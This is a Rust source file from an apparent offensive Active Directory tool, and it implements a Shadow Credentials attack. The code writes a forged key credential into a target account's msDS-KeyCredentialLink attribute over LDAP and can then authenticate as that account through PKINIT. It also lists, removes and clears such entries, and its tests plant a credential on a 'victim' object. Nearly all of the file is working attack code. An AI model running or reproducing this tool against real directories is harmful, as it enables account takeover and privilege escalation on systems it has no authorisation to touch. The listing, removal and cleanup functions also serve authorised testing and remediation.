use adhammer_collector::{Collector, LdapConfig};
use anyhow::{Context, Result};
use clap::Parser;
use crate::attacks::abuse::{abuse, AbuseAction, AbuseArgs};
#[derive(Parser)]
pub(crate) struct ShadowcredArgs {
#[arg(long, value_name = "PATH")]
pub from_file: Option<String>,
#[arg(long)]
pub url: Option<String>,
#[arg(long)]
pub user: Option<String>,
#[arg(long, default_value = "")]
pub password: adhammer_core::SecretString,
#[arg(long)]
pub insecure: bool,
#[arg(long)]
pub target: Option<String>,
#[arg(long)]
pub pkinit: bool,
#[arg(long)]
pub kdc: Option<String>,
#[arg(long)]
pub realm: Option<String>,
#[arg(long, conflicts_with_all = ["remove", "clear"])]
pub list: bool,
#[arg(long, value_name = "GUID", conflicts_with_all = ["list", "clear"])]
pub remove: Option<String>,
#[arg(long, conflicts_with_all = ["list", "remove"])]
pub clear: bool,
#[arg(long)]
pub yes: bool,
#[arg(long, default_value = "adhammer")]
pub pfx_password: adhammer_core::SecretString,
#[arg(long)]
pub dry_run: bool,
}
#[cfg_attr(test, derive(Debug))]
struct ShadowcredConfig {
url: String,
user: String,
password: adhammer_core::SecretString,
insecure: bool,
target: String,
pkinit: bool,
kdc: Option<String>,
realm: Option<String>,
list: bool,
remove: Option<String>,
clear: bool,
yes: bool,
pfx_password: adhammer_core::SecretString,
dry_run: bool,
}
impl ShadowcredConfig {
fn from_flags(a: &ShadowcredArgs) -> Result<Self> {
Ok(Self {
url: a
.url
.clone()
.ok_or_else(|| anyhow::anyhow!("--url required (or use --from-file)"))?,
user: a
.user
.clone()
.ok_or_else(|| anyhow::anyhow!("--user required (or use --from-file)"))?,
password: crate::resolve_secret(&a.password, "ADHAMMER_PASSWORD")?,
insecure: a.insecure,
target: a
.target
.clone()
.ok_or_else(|| anyhow::anyhow!("--target required (or use --from-file)"))?,
pkinit: a.pkinit,
kdc: a.kdc.clone(),
realm: a.realm.clone(),
list: a.list,
remove: a.remove.clone(),
clear: a.clear,
yes: a.yes,
pfx_password: crate::resolve_secret(&a.pfx_password, "ADHAMMER_PFX_PASSWORD")?,
dry_run: a.dry_run,
})
}
}
#[cfg_attr(test, derive(Debug))]
struct ShadowcredFile {
url: Option<String>,
user: Option<String>,
password: Option<String>,
target: Option<String>,
kdc: Option<String>,
realm: Option<String>,
pfx_password: Option<String>,
}
impl ShadowcredFile {
fn overlay(self, a: &ShadowcredArgs) -> Result<ShadowcredConfig> {
let take =
|from_file: Option<String>, from_flag: Option<String>, name: &str| -> Result<String> {
from_flag.or(from_file).ok_or_else(|| {
anyhow::anyhow!("{name} missing in both --from-file and CLI flags")
})
};
let pw_raw = if !a.password.is_empty() {
Some(a.password.expose_secret().to_string())
} else {
self.password
};
let password = match pw_raw {
Some(v) => crate::resolve_secret(v.as_str(), "ADHAMMER_PASSWORD")?,
None => adhammer_core::SecretString::new(String::new()),
};
let pfx_raw = if a.pfx_password.expose_secret() != "adhammer" {
Some(a.pfx_password.expose_secret().to_string())
} else {
self.pfx_password.or_else(|| Some("adhammer".to_string()))
};
let pfx_password = match pfx_raw {
Some(v) => crate::resolve_secret(v.as_str(), "ADHAMMER_PFX_PASSWORD")?,
None => adhammer_core::SecretString::new("adhammer".to_string()),
};
Ok(ShadowcredConfig {
url: take(self.url, a.url.clone(), "url")?,
user: take(self.user, a.user.clone(), "user")?,
password,
insecure: a.insecure,
target: take(self.target, a.target.clone(), "target")?,
pkinit: a.pkinit,
kdc: a.kdc.clone().or(self.kdc),
realm: a.realm.clone().or(self.realm),
list: a.list,
remove: a.remove.clone(),
clear: a.clear,
yes: a.yes,
pfx_password,
dry_run: a.dry_run,
})
}
}
fn load_shadowcred_ini(path: &str) -> Result<ShadowcredFile> {
let text = std::fs::read_to_string(path).with_context(|| format!("read --from-file {path}"))?;
let mut f = ShadowcredFile {
url: None,
user: None,
password: None,
target: None,
kdc: None,
realm: None,
pfx_password: None,
};
for (n, line) in text.lines().enumerate() {
let line = line.trim();
if line.is_empty() || line.starts_with('#') {
continue;
}
let (k, v) = line
.split_once('=')
.ok_or_else(|| anyhow::anyhow!("{path}:{}: expected KEY=VALUE", n + 1))?;
let v = v.trim().to_string();
match k.trim() {
"url" => f.url = Some(v),
"user" => f.user = Some(v),
"password" => f.password = Some(v),
"target" => f.target = Some(v),
"kdc" => f.kdc = Some(v),
"realm" => f.realm = Some(v),
"pfx_password" => f.pfx_password = Some(v),
other => anyhow::bail!("{path}:{}: unknown key `{other}`", n + 1),
}
}
Ok(f)
}
pub(crate) async fn shadowcred(a: ShadowcredArgs) -> Result<()> {
let cfg = match a.from_file.as_deref() {
Some(p) => load_shadowcred_ini(p)?.overlay(&a)?,
None => ShadowcredConfig::from_flags(&a)?,
};
if cfg.list {
return list(&cfg).await;
}
if let Some(ref guid) = cfg.remove {
return remove(&cfg, guid).await;
}
if cfg.clear {
return clear(&cfg).await;
}
abuse(AbuseArgs {
auth: crate::shared_args::OptAuth {
url: Some(cfg.url.clone()),
user: Some(cfg.user.clone()),
password: Some(cfg.password.clone()),
insecure: cfg.insecure,
allow_plaintext_ldap: false,
},
action: AbuseAction::AddKeycred,
target: cfg.target.clone(),
value: String::new(),
kdc: cfg.kdc.clone(),
realm: cfg.realm.clone(),
ldap389: false,
host: None,
commit: true,
dry_run: false,
})
.await?;
let _ = &cfg.pfx_password;
println!("[i] .pfx export skipped — needs the p12 crate; see docs/pfx-export.md");
if cfg.pkinit {
let (kdc, realm) = match (cfg.kdc.as_ref(), cfg.realm.as_ref()) {
(Some(k), Some(r)) => (k.clone(), r.clone()),
_ => anyhow::bail!("--pkinit needs both --kdc and --realm"),
};
abuse(AbuseArgs {
auth: crate::shared_args::OptAuth {
url: Some(cfg.url),
user: Some(cfg.user),
password: Some(cfg.password),
insecure: cfg.insecure,
allow_plaintext_ldap: false,
},
action: AbuseAction::Pkinit,
target: cfg.target,
value: String::new(),
kdc: Some(kdc),
realm: Some(realm),
ldap389: false,
host: None,
commit: true,
dry_run: false,
})
.await?;
}
Ok(())
}
async fn connect(cfg: &ShadowcredConfig) -> Result<Collector> {
let cfg2 = LdapConfig {
url: cfg.url.clone(),
bind_dn: cfg.user.clone(),
password: cfg.password.clone(),
base_dn: None,
insecure: cfg.insecure,
gssapi: false,
allow_plaintext_bind: false,
};
Collector::connect(&cfg2).await
}
async fn list(cfg: &ShadowcredConfig) -> Result<()> {
let mut c = connect(cfg).await?;
let target_dn = crate::target::to_dn(&mut c, &cfg.target).await?;
let values = c
.read_multi_text(&target_dn, "msDS-KeyCredentialLink")
.await?;
if values.is_empty() {
println!("no shadow credentials on {}", cfg.target);
return Ok(());
}
println!("DeviceId Created (UTC) Usage Source");
for v in &values {
match parse_dn_binary(v).and_then(|b| parse_key_credential_blob(&b)) {
Some(k) => println!(
"{:<38} {:<25} {:<8} {}",
format_guid(&k.device_id),
format_filetime(k.creation_time),
key_usage_name(k.key_usage),
key_source_name(k.key_source),
),
None => println!("<unparsed KEYCREDENTIALLINK entry, {} chars>", v.len()),
}
}
Ok(())
}
async fn remove(cfg: &ShadowcredConfig, guid: &str) -> Result<()> {
let wanted = parse_guid(guid).context(
"--remove wants a GUID: `{9c8d...}` or `9c8d...` (32 hex chars, dashes optional)",
)?;
let mut c = connect(cfg).await?;
let target_dn = crate::target::to_dn(&mut c, &cfg.target).await?;
let values = c
.read_multi_text(&target_dn, "msDS-KeyCredentialLink")
.await?;
let before = values.len();
let kept: Vec<String> = values
.into_iter()
.filter(|v| {
match parse_dn_binary(v).and_then(|b| parse_key_credential_blob(&b)) {
Some(k) => k.device_id != wanted,
None => true, }
})
.collect();
let after = kept.len();
if after == before {
anyhow::bail!(
"no shadow credential with DeviceId {} on {} — nothing removed",
format_guid(&wanted),
cfg.target
);
}
if cfg.dry_run {
println!(
"[dry-run] would replace msDS-KeyCredentialLink on {} — {} entries → {}",
target_dn, before, after
);
println!("[dry-run] no change made");
return Ok(());
}
c.replace_multi_text(&target_dn, "msDS-KeyCredentialLink", &kept)
.await?;
println!(
"[+] removed KeyCredential {} from {} ({} → {} entries)",
format_guid(&wanted),
cfg.target,
before,
after
);
Ok(())
}
async fn clear(cfg: &ShadowcredConfig) -> Result<()> {
if !cfg.yes && !confirm_clear(&cfg.target)? {
anyhow::bail!("--clear aborted (no --yes and no interactive confirmation)");
}
let mut c = connect(cfg).await?;
let target_dn = crate::target::to_dn(&mut c, &cfg.target).await?;
let before = c
.read_multi_text(&target_dn, "msDS-KeyCredentialLink")
.await?
.len();
if cfg.dry_run {
println!(
"[dry-run] would clear msDS-KeyCredentialLink on {} — {} entries → 0",
target_dn, before
);
println!("[dry-run] no change made");
return Ok(());
}
c.replace_multi_text(&target_dn, "msDS-KeyCredentialLink", &[])
.await?;
println!(
"[+] cleared msDS-KeyCredentialLink on {} ({} entries removed)",
cfg.target, before
);
Ok(())
}
fn confirm_clear(target: &str) -> Result<bool> {
use std::io::{stdin, stdout, Write};
print!("Wipe ALL shadow credentials on {target}? [y/N] ");
stdout().flush().ok();
let mut buf = String::new();
stdin().read_line(&mut buf)?;
Ok(matches!(buf.trim(), "y" | "Y" | "yes" | "YES"))
}
struct KeyCred {
device_id: [u8; 16],
creation_time: u64, key_usage: u8,
key_source: u8,
}
fn parse_dn_binary(s: &str) -> Option<Vec<u8>> {
let mut parts = s.splitn(4, ':');
if parts.next()? != "B" {
return None;
}
let _count: usize = parts.next()?.parse().ok()?;
let hex_str = parts.next()?;
hex::decode(hex_str).ok()
}
fn parse_key_credential_blob(blob: &[u8]) -> Option<KeyCred> {
if blob.len() < 4 {
return None;
}
let mut off = 4; let (mut device_id, mut creation, mut key_usage, mut key_source) = (None, 0u64, 0u8, 0u8);
while off + 3 <= blob.len() {
let len = u16::from_le_bytes([blob[off], blob[off + 1]]) as usize;
let id = blob[off + 2];
off += 3;
if off + len > blob.len() {
return None;
}
let val = &blob[off..off + len];
match id {
0x04 if len >= 1 => key_usage = val[0],
0x05 if len >= 1 => key_source = val[0],
0x06 if len == 16 => {
let mut arr = [0u8; 16];
arr.copy_from_slice(val);
device_id = Some(arr);
}
0x09 if len == 8 => {
creation = u64::from_le_bytes([
val[0], val[1], val[2], val[3], val[4], val[5], val[6], val[7],
]);
}
_ => {}
}
off += len;
}
Some(KeyCred {
device_id: device_id?,
creation_time: creation,
key_usage,
key_source,
})
}
fn key_usage_name(u: u8) -> &'static str {
match u {
0x00 => "AdminKey",
0x01 => "NGC",
0x02 => "FIDO",
0x03 => "FEK",
_ => "?",
}
}
fn key_source_name(s: u8) -> &'static str {
match s {
0x00 => "AD",
0x01 => "AzureAD",
_ => "?",
}
}
fn format_guid(b: &[u8; 16]) -> String {
format!(
"{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-\
{:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}",
b[3],
b[2],
b[1],
b[0],
b[5],
b[4],
b[7],
b[6],
b[8],
b[9],
b[10],
b[11],
b[12],
b[13],
b[14],
b[15]
)
}
fn parse_guid(s: &str) -> Option<[u8; 16]> {
let s = s.trim().trim_matches(|c| c == '{' || c == '}');
let clean: String = s.chars().filter(|c| *c != '-').collect();
if clean.len() != 32 {
return None;
}
let raw: Vec<u8> = (0..16)
.map(|i| u8::from_str_radix(&clean[i * 2..i * 2 + 2], 16).ok())
.collect::<Option<Vec<_>>>()?;
let mut out = [0u8; 16];
out[0] = raw[3];
out[1] = raw[2];
out[2] = raw[1];
out[3] = raw[0];
out[4] = raw[5];
out[5] = raw[4];
out[6] = raw[7];
out[7] = raw[6];
out[8..].copy_from_slice(&raw[8..]);
Some(out)
}
fn format_filetime(ft: u64) -> String {
if ft == 0 {
return "?".into();
}
let secs_since_1601 = ft / 10_000_000;
let Some(unix) = secs_since_1601.checked_sub(11_644_473_600) else {
return "?".into();
};
let unix = unix as i64;
let (y, m, d) = civil_from_days(unix.div_euclid(86_400));
let tod = unix.rem_euclid(86_400);
format!(
"{:04}-{:02}-{:02} {:02}:{:02}:{:02}",
y,
m,
d,
tod / 3600,
(tod % 3600) / 60,
tod % 60
)
}
fn civil_from_days(z: i64) -> (u16, u8, u8) {
let z = z + 719_468;
let era = if z >= 0 { z } else { z - 146_096 } / 146_097;
let doe = z - era * 146_097;
let yoe = (doe - doe / 1460 + doe / 36_524 - doe / 146_096) / 365;
let y = yoe + era * 400;
let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
let mp = (5 * doy + 2) / 153;
let d = doy - (153 * mp + 2) / 5 + 1;
let m = if mp < 10 { mp + 3 } else { mp - 9 };
((y + i64::from(m <= 2)) as u16, m as u8, d as u8)
}
#[cfg(test)]
mod tests {
use super::*;
fn tmp_ini(name: &str, body: &str) -> String {
let dir = std::env::temp_dir();
let path = dir.join(format!(
"adhammer_shadowcred_{}_{}_{}.ini",
name,
std::process::id(),
std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0)
));
std::fs::write(&path, body).unwrap();
path.to_string_lossy().into_owned()
}
fn empty_args() -> ShadowcredArgs {
ShadowcredArgs {
from_file: None,
url: None,
user: None,
password: adhammer_core::SecretString::new(String::new()),
insecure: false,
target: None,
pkinit: false,
kdc: None,
realm: None,
list: false,
remove: None,
clear: false,
yes: false,
pfx_password: adhammer_core::SecretString::new("adhammer".to_string()),
dry_run: false,
}
}
#[test]
fn guid_round_trip() {
let g = parse_guid("{9c8d7e6f-5a4b-3c2d-1e0f-abcdef012345}").unwrap();
assert_eq!(format_guid(&g), "9c8d7e6f-5a4b-3c2d-1e0f-abcdef012345");
let g2 = parse_guid("9C8D7E6F-5A4B-3C2D-1E0F-ABCDEF012345").unwrap();
assert_eq!(g, g2);
let g3 = parse_guid("9c8d7e6f5a4b3c2d1e0fabcdef012345").unwrap();
assert_eq!(g, g3);
}
#[test]
fn guid_rejects_wrong_length() {
assert!(parse_guid("beef").is_none());
assert!(parse_guid("zzzz-zzzz-zzzz-zzzz-zzzzzzzzzzzz").is_none());
}
#[test]
fn filetime_1970_epoch_boundary() {
let ft = 11_644_473_600u64 * 10_000_000;
assert_eq!(format_filetime(ft), "1970-01-01 00:00:00");
}
#[test]
fn filetime_zero_prints_placeholder() {
assert_eq!(format_filetime(0), "?");
}
#[test]
fn parses_our_own_key_credential_blob() {
let kc = adhammer_kerberos::shadowcred::build_key_credential("CN=victim,DC=corp,DC=local")
.unwrap();
let blob = parse_dn_binary(&kc.dn_binary).expect("dn-binary decode");
let parsed = parse_key_credential_blob(&blob).expect("blob parse");
assert_eq!(parsed.key_usage, 0x01, "we plant NGC");
assert_eq!(parsed.key_source, 0x00, "we plant KeySource=AD");
assert_ne!(parsed.device_id, [0u8; 16], "device_id is random 16 bytes");
assert!(parsed.creation_time > 0);
}
#[test]
fn ini_parses_valid_keys() {
let path = tmp_ini(
"valid",
"# a comment\n\
url=ldaps://dc.corp.local\n\
user=CORP\\alice\n\
password=hunter2\n\
target=victim$\n\
kdc=dc.corp.local\n\
realm=CORP.LOCAL\n\
pfx_password=pfx-pw\n",
);
let f = load_shadowcred_ini(&path).unwrap();
assert_eq!(f.url.as_deref(), Some("ldaps://dc.corp.local"));
assert_eq!(f.user.as_deref(), Some("CORP\\alice"));
assert_eq!(f.password.as_deref(), Some("hunter2"));
assert_eq!(f.target.as_deref(), Some("victim$"));
assert_eq!(f.kdc.as_deref(), Some("dc.corp.local"));
assert_eq!(f.realm.as_deref(), Some("CORP.LOCAL"));
assert_eq!(f.pfx_password.as_deref(), Some("pfx-pw"));
let _ = std::fs::remove_file(&path);
}
#[test]
fn ini_unknown_key_errors() {
let path = tmp_ini("unknown", "url=x\nbogus_key=1\n");
let err = load_shadowcred_ini(&path).unwrap_err().to_string();
assert!(err.contains("unknown key"), "err was {err:?}");
assert!(err.contains("bogus_key"), "err was {err:?}");
let _ = std::fs::remove_file(&path);
}
#[test]
fn cli_flag_beats_ini_value() {
let path = tmp_ini(
"beat",
"url=ldap://ini-host\n\
user=ini-user\n\
target=ini-target\n",
);
let f = load_shadowcred_ini(&path).unwrap();
let mut a = empty_args();
a.url = Some("ldap://cli-host".to_string());
let cfg = f.overlay(&a).unwrap();
assert_eq!(cfg.url, "ldap://cli-host");
assert_eq!(cfg.user, "ini-user");
assert_eq!(cfg.target, "ini-target");
let _ = std::fs::remove_file(&path);
}
#[test]
fn missing_required_key_errors() {
let path = tmp_ini(
"missing",
"# no url here\n\
user=alice\n\
target=victim$\n",
);
let f = load_shadowcred_ini(&path).unwrap();
let a = empty_args();
let err = f.overlay(&a).unwrap_err().to_string();
assert!(err.contains("url"), "err was {err:?}");
let _ = std::fs::remove_file(&path);
}
}